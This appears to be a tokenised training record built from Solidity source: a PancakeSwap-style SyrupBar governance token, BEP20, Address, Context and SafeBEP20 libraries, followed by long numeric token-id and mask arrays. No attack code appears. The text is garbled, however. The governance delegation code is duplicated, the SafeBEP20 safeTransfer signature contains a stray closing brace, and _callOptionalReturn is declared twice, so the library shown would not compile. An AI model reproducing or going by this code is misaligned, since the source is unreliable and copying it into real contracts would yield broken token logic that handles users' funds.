abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "MYSEC::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "MYSEC::delegateBySig: invalid nonce");
require(now <= expiry, "MYSEC::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "MYSEC::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SILVERs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "MYSEC::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
pragma solidity 0.6.12;
import "@pancakeswap/pancake-swap-lib/contracts/token/BEP20/BEP20.sol";
import "./MySecure.sol";
// SyrupBar with Governance.
contract SyrupBar is BEP20('SyrupBar Token', 'SYRUP') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function burn(address _from ,uint256 _amount) public onlyOwner {
_burn(_from, _amount);
_moveDelegates(_delegates[_from], address(0), _amount);
}
// The SILVER TOKEN!
MySecure public cake;
constructor(
MySecure _cake
) public {
cake = _cake;
}
// Safe cake transfer function, just in case if rounding error causes pool to not have enough SILVERs.
function safeCakeTransfer(address _to, uint256 _amount) public onlyOwner {
uint256 cakeBal = cake.balanceOf(address(this));
if (_amount > cakeBal) {
cake.transfer(_to, cakeBal);
} else {
cake.transfer(_to, _amount);
}
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "MYSEC::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "MYSEC::delegateBySig: invalid nonce");
require(now <= expiry, "MYSEC::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "MYSEC::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SILVERs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "MYSEC::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
import '../../access/Ownable.sol';
import '../../GSN/Context.sol';
import './IBEP20.sol';
import '../../math/SafeMath.sol';
import '../../utils/Address.sol';
/**
* @dev Implementation of the {IBEP20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {BEP20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of BEP20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IBEP20-approve}.
*/
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance')
);
}
}
|
* @title SafeBEP20 @dev Wrappers around BEP20 operations that throw on failure (when the token contract returns false). Tokens that return no value (and instead revert or throw on failure) are also supported, non-reverting calls are assumed to be successful. To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract, which allows you to call the safe operations as `token.safeTransfer(...)`, etc./
|
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IBEP20 token,
address to,
uint256 value
}
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IBEP20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IBEP20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
'SafeBEP20: decreased allowance below zero'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
| 250,431 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
2649,
14060,
5948,
52,
3462,
632,
5206,
4266,
10422,
6740,
9722,
52,
3462,
5295,
716,
604,
603,
5166,
261,
13723,
326,
1147,
6835,
1135,
629,
2934,
13899,
716,
327,
1158,
460,
261,
464,
3560,
15226,
578,
604,
603,
5166,
13,
854,
2546,
3260,
16,
1661,
17,
266,
1097,
310,
4097,
854,
12034,
358,
506,
6873,
18,
2974,
999,
333,
5313,
1846,
848,
527,
279,
1375,
9940,
14060,
5948,
52,
3462,
364,
467,
5948,
52,
3462,
31,
68,
3021,
358,
3433,
6835,
16,
1492,
5360,
1846,
358,
745,
326,
4183,
5295,
487,
1375,
2316,
18,
4626,
5912,
5825,
13,
9191,
5527,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
